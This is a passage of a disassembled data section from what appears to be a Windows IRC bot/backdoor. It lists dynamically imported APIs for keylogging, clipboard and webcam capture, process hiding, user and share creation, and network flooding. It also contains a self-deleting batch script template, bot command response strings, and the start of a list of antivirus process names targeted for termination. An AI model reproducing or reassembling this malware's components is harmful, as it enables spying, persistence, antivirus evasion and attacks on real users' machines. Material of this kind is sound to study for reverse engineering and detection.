aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40888A+93o
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40888A+A0o
align 10h
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40888A:loc_408992o
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40888A:loc_4089BFo
align 4
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40888A+14Ao
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40888A+152o
aIswindow db 'IsWindow',0 ; DATA XREF: sub_40888A+15Fo
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40888A+16Co
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40888A+179o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40888A+186o
align 10h
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40888A+193o
align 10h
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40888A+1A0o
align 10h
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40888A:loc_408A82o
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40888A+200o
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40888A+20Do
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40888A+21Ao
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40888A:loc_408AE9o
align 4
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40888A+270o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40888A+278o
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40888A+285o
align 4
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40888A+292o
align 4
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40888A+29Fo
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40888A+2ACo
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40888A:loc_408B7Eo
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40888A+2FCo
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40888A+309o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40888A:loc_408BC3o
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40888A+341o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40888A+34Eo
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_40888A+35Bo
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40888A+368o
align 4
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40888A+375o
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40888A+382o
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40888A+38Fo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40888A:loc_408C71o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40888A:loc_408C99o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40888A+420o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40888A+428o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40888A+435o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40888A+442o
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40888A+44Fo
align 10h
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40888A+45Co
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_40888A+469o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40888A+476o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40888A+483o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40888A+4F6o
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40888A+507o
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40888A+50Fo
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40888A+51Co
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40888A+529o
align 4
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40888A+536o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40888A+543o
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40888A+550o
align 10h
aSocket db 'socket',0 ; DATA XREF: sub_40888A+55Do
align 4
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40888A+56Ao
aConnect db 'connect',0 ; DATA XREF: sub_40888A+577o
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40888A+584o
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40888A+591o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_40888A+59Eo
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_40888A+5ABo
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_40888A+5B8o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_40888A+5C5o
align 4
aSend db 'send',0 ; DATA XREF: sub_40888A+5D2o
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_40888A+5DFo
align 4
aRecv db 'recv',0 ; DATA XREF: sub_40888A+5ECo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40888A+5F9o
align 4
aBind db 'bind',0 ; DATA XREF: sub_40888A+60Bo
align 10h
aSelect db 'select',0 ; DATA XREF: sub_40888A+613o
align 4
aListen db 'listen',0 ; DATA XREF: sub_40888A+620o
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_40888A+62Do
align 4
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40888A+63Ao
align 4
aGetsockname db 'getsockname',0 ; DATA XREF: sub_40888A+647o
aGethostname db 'gethostname',0 ; DATA XREF: sub_40888A+654o
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40888A+661o
align 4
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40888A+66Eo
align 4
aGetpeername db 'getpeername',0 ; DATA XREF: sub_40888A+67Bo
aClosesocket db 'closesocket',0 ; DATA XREF: sub_40888A+688o
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40888A:loc_40904Bo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40888A+7D2o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40888A+7DAo
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40888A+7E7o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40888A+7F4o
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40888A+801o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40888A+80Eo
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40888A+81Bo
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40888A+828o
align 4
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40888A+835o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40888A+842o
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40888A+8B4o
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40888A:loc_40916Bo
align 4
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40888A+8EEo
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40888A+8F6o
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40888A+903o
align 4
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40888A:loc_4091CAo
align 4
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40888A+951o
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40888A+959o
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40888A+966o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40888A+973o
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40888A+980o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40888A+98Do
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40888A+99Ao
align 4
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40888A+9A7o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40888A+9B4o
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40888A+9C1o
align 10h
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40888A+9CEo
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40888A:loc_4092D5o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40888A+A58o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40888A+A60o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40888A:loc_40931Fo
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40888A+AA2o
align 4
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40888A+AAAo
align 10h
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40888A:loc_409369o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40888A+AECo
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40888A+AF4o
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40888A+B01o
align 4
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40888A+B0Eo
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40888A:loc_4093DDo
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40888A+B60o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40888A+B68o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40888A:loc_409427o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40888A+BAAo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40888A+BB2o
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40888A+BBFo
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40888A+BCCo
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40888A+BD9o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40888A+BE6o
align 4
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40888A:loc_4094C5o
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40888A+C48o
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40888A+C50o
align 10h
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409517+28o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409517+5Co
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409517+90o
align 10h
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409517+C4o
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409517+F8o
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409517+12Co
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409517+160o
align 4
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409517+194o
align 10h
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409517+1C8o
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409517+1FCo
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409517+230o
align 4
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409517+264o
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409517+298o
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_409517+2CCo
align 4
aMainDllTestCom db '[MAIN]: DLL test complete.',0 ; DATA XREF: sub_409517+2F2o
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409AA0+72o
align 4
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_409B65+5o
align 4
aMirc_1 db 'mIRC',0 ; DATA XREF: sub_409B65+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_409BEA+1Co
align 4
aSS_7 db '%s %s',0 ; DATA XREF: .text:00409CD0o
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409D0C+2o
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409D2E+48o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409D2E+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409D2E+140o
align 10h
off_43A4D0 dd offset dword_43A524 ; DATA XREF: sub_409EB6+6Dr
; sub_40A29A+50r ...
off_43A4D4 dd offset aAdded ; DATA XREF: sub_409EB6+2Dr
; sub_40A29A+82r ...
; "Added"
dword_43A4D8 dd 0 ; DATA XREF: sub_409EB6+18r
dd offset aDelete_1 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43A570h, 43A578h, 2, 43A580h, 43A58Ch, 3
dword_43A524 dd 646441h ; DATA XREF: .data:off_43A4D0o
aAdded db 'Added',0 ; DATA XREF: .data:off_43A4D4o
align 10h
aDelete_1 db 'Delete',0 ; DATA XREF: .data:0043A4DCo
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .data:0043A4E0o
aList_1 db 'List',0 ; DATA XREF: .data:0043A4E8o
align 4
aListed db 'Listed',0 ; DATA XREF: .data:0043A4ECo
align 10h
aStart_0 db 'Start',0 ; DATA XREF: .data:0043A4F4o
align 4
aStarted db 'Started',0 ; DATA XREF: .data:0043A4F8o
aStop_0 db 'Stop',0 ; DATA XREF: .data:0043A500o
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0043A504o
aPause_0 db 'Pause',0
align 4
aPaused_0 db 'Paused',0
align 10h
aContinue_0 db 'Continue',0
align 4
aContinued db 'Continued',0
align 4
aNetSServiceS_ db '[NET]: %s service: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409EB6+38o
align 4
aNetErrorWithSe db '[NET]: Error with service: ',27h,'%s',27h,'. %s',0
; DATA XREF: sub_409EB6+55o
aNetSNoServiceS db '[NET]: %s: No service specified.',0 ; DATA XREF: sub_409EB6+74o
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_409FDF:loc_40A0B8o
align 4
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_409FDF:loc_40A039o
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_409FDF+3Co
align 10h
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_409FDF:loc_40A02Fo
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_409FDF:loc_40A043o
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_409FDF:loc_40A08Do
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_409FDF+8Fo
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_409FDF:loc_40A0BFo
db 'marked for deletion.',0
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_409FDF:loc_40A0C6o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_409FDF:loc_40A0CDo
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_409FDF:loc_40A0D4o
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_409FDF:loc_40A0DBo
db ' correct access rights.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_409FDF:loc_40A0E2o
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_409FDF:loc_40A078o
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_409FDF:loc_40A07Fo
db 'tServiceCtrlDispatcher.',0
align 4
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_409FDF:loc_40A04Do
db 'dependent on it.',0
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_409FDF:loc_40A025o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_409FDF:loc_40A086o
db ' the service.',0
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_409FDF:loc_40A0E9o
db 'the state of the service.',0
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_409FDF:loc_40A0F0o
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_409FDF:loc_40A0F7o
align 4
aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_409FDF+12Co
align 4
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_40A15D+25o
align 4
aStopped db ' Stopped',0 ; DATA XREF: sub_40A15D:loc_40A229o
aStarting db ' Starting',0 ; DATA XREF: sub_40A15D:loc_40A222o
aStoping db ' Stoping',0 ; DATA XREF: sub_40A15D:loc_40A21Bo
aRunning db ' Running',0 ; DATA XREF: sub_40A15D:loc_40A214o
aContinuing db ' Continuing',0 ; DATA XREF: sub_40A15D:loc_40A20Do
aPausing db ' Pausing',0 ; DATA XREF: sub_40A15D:loc_40A206o
aPaused db ' Paused',0 ; DATA XREF: sub_40A15D:loc_40A1FFo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40A15D+9Bo
aSSS_0 db '%s: %s (%s)',0 ; DATA XREF: sub_40A15D+EBo
aNetSShareS_ db '[NET]: %s share: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40A29A+89o
align 4
aNetSErrorWithS db '[NET]: %s: Error with share: ',27h,'%s',27h,'. %s',0
; DATA XREF: sub_40A29A+57o
align 4
aNetSNoShareSpe db '[NET]: %s: No share specified.',0 ; DATA XREF: sub_40A29A+ABo
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_40A48F+26o
align 4
aYes db 'Yes',0 ; DATA XREF: sub_40A48F+B5o
aNo db 'No',0 ; DATA XREF: sub_40A48F+BCo
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40A48F+D0o
align 4
aNetShareListEr db '[NET]: Share list error: %s <%ld>',0 ; DATA XREF: sub_40A48F+76o
align 10h
aNetSUsernameS_ db '[NET]: %s username: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40A5B0+6Do
align 4
aNetSErrorWithU db '[NET]: %s: Error with username: ',27h,'%s',27h,'. %s',0
; DATA XREF: sub_40A5B0+94o
align 4
aNetSNoUsername db '[NET]: %s: No username specified.',0 ; DATA XREF: sub_40A5B0+B6o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_40A6F6+50o
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40A6F6+81o
align 4
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40A6F6+ACo
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40A6F6+D4o
aGuest db 'Guest',0 ; DATA XREF: sub_40A6F6:loc_40A80Fo
align 10h
aUser_0 db 'User',0 ; DATA XREF: sub_40A6F6:loc_40A808o
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_40A6F6:loc_40A801o
align 4
aUnknown_1 db 'Unknown',0 ; DATA XREF: sub_40A6F6+104o
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40A6F6+125o
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40A6F6+14Do
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40A6F6+178o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40A6F6:loc_40A896o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40A6F6+1CBo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40A6F6+1F3o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40A6F6+21Eo
align 4
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40A6F6+246o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40A6F6+271o
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40A6F6+299o
align 10h
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40A6F6+2C4o
align 4
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40A6F6+2ECo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40A6F6+317o
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40A6F6+33Fo
align 10h
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40A6F6+36Ao
align 4
aNetUserInfoErr db '[NET]: User info error: <%ld>',0 ; DATA XREF: sub_40A6F6+394o
align 4
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40AAC4+29o
aNetAnAccessVio db '[NET]: An access violation has occured.',0 ; DATA XREF: sub_40AAC4+F7o
aS_8 db ' %S',0 ; DATA XREF: sub_40AAC4+BEo
align 4
aNetUserListErr db '[NET]: User list error: %s <%ld>',0 ; DATA XREF: sub_40AAC4+7Ao
align 4
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40AAC4+14Fo
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40AC44:loc_40ACA7o
align 4
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40AC44:loc_40ACE8o
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40AC44:loc_40ACB1o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40AC44+3Bo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40AC44:loc_40AC9Do
align 10h
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_40AC44:loc_40AC93o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40AC44:loc_40AC89o
align 10h
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40AC44:loc_40AD53o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40AC44+89o
align 4
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40AC44:loc_40ACD7o
align 10h
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_40AC44:loc_40ACE1o
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40AC44:loc_40AD4Co
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_40AC44+CFo
db ' the domain.',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40AC44:loc_40AD21o
align 10h
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40AC44:loc_40AD1Ao
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_40AC44:loc_40AD28o
db 'ord policy requirement.)',0
align 10h
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40AC44:loc_40AD61o
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_40AC44:loc_40ACEFo
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40AC44:loc_40AD5Ao
align 4
aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40AC44:loc_40AD45o
align 4
aNetMessageSent db '[NET]: Message sent successfully.',0 ; DATA XREF: sub_40AD78+81o
align 4
aNetSServerSMes db '[NET]: %s <Server: %S> <Message: %S>',0 ; DATA XREF: sub_40AD78+ABo
align 10h
a__0: ; DATA XREF: .text:0040AE6Bo
unicode 0, <.>,0
a__1: ; DATA XREF: .text:0040AE83o
unicode 0, <.>,0
aFlushdnsErro_0 db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
; DATA XREF: sub_40AF08+8Co
align 4
aFlushdnsUnable db '[FLUSHDNS]: Unable to allocation ARP cache.',0
; DATA XREF: sub_40AF08:loc_40AF9Bo
aFlushdnsArpCac db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_40AF08:loc_40AF61o
aFlushdnsNotSup db '[FLUSHDNS]: Not supported by this system.',0
; DATA XREF: sub_40AF08:loc_40AFCDo
align 4
aFlushdnsErrorG db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
; DATA XREF: sub_40AF08+43o
align 4
aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AFEC+46o
aPingErrorSendi db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_40B0E5+6Eo
align 4
aPingFinishedSe db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_40B0E5+13Co
align 10h
aUdpErrorSendin db '[UDP]: Error sending pings to %s.',0 ; DATA XREF: sub_40B271+8Eo
align 4
aUdpFinishedSen db '[UDP]: Finished sending packets to %s.',0 ; DATA XREF: sub_40B271+1C6o
align 4
dword_43B33C dd 7530h ; DATA XREF: sub_40B84A+12r
off_43B340 dd offset aAckwin32_exe ; DATA XREF: sub_40B4F2+CBo
; "ACKWIN32.EXE"
dd offset aAdaware_exe ; "ADAWARE.EXE"
dd offset aAdvxdwin_exe ; "ADVXDWIN.EXE"
dd offset aAgentsvr_exe ; "AGENTSVR.EXE"
dd offset aAgentw_exe ; "AGENTW.EXE"
dd offset aAlertsvc_exe ; "ALERTSVC.EXE"
dd offset aAlevir_exe ; "ALEVIR.EXE"
dd offset aAlogserv_exe ; "ALOGSERV.EXE"
dd offset aAmon9x_exe ; "AMON9X.EXE"
dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
dd offset aAnts_exe ; "ANTS.EXE"
dd offset aApimonitor_exe ; "APIMONITOR.EXE"
dd offset aAplica32_exe ; "APLICA32.EXE"
dd offset aApvxdwin_exe ; "APVXDWIN.EXE"
dd offset aArr_exe ; "ARR.EXE"
dd offset aAtcon_exe ; "ATCON.EXE"
dd offset aAtguard_exe ; "ATGUARD.EXE"
dd offset aAtro55en_exe ; "ATRO55EN.EXE"
dd offset aAtupdater_exe ; "ATUPDATER.EXE"
dd offset aAtupdater_ex_0 ; "ATUPDATER.EXE"
dd offset aAtwatch_exe ; "ATWATCH.EXE"
dd offset aAu_exe ; "AU.EXE"
dd offset aAupdate_exe ; "AUPDATE.EXE"
dd offset aAupdate_exe_0 ; "AUPDATE.EXE"
dd offset aAutodown_exe ; "AUTODOWN.EXE"
dd offset aAutodown_exe_0 ; "AUTODOWN.EXE"
dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
dd offset aAutotrace_ex_0 ; "AUTOTRACE.EXE"
dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
dd offset aAutoupdate_e_0 ; "AUTOUPDATE.EXE"
dd offset aAvconsol_exe ; "AVCONSOL.EXE"
dd offset aAve32_exe ; "AVE32.EXE"
dd offset aAvgcc32_exe ; "AVGCC32.EXE"
dd offset aAvgctrl_exe ; "AVGCTRL.EXE"
dd offset aAvgnt_exe ; "AVGNT.EXE"
dd offset aAvgserv_exe ; "AVGSERV.EXE"
dd offset aAvgserv9_exe ; "AVGSERV9.EXE"
dd offset aAvguard_exe ; "AVGUARD.EXE"
dd offset aAvgw_exe ; "AVGW.EXE"
dd offset aAvkpop_exe ; "AVKPOP.EXE"
dd offset aAvkserv_exe ; "AVKSERV.EXE"
dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
dd offset aAvkwctl9_exe ; "AVKWCTl9.EXE"
dd offset aAvltmain_exe ; "AVLTMAIN.EXE"
dd offset aAvnt_exe ; "AVNT.EXE"
dd offset aAvp_exe ; "AVP.EXE"
dd offset aAvp32_exe ; "AVP32.EXE"
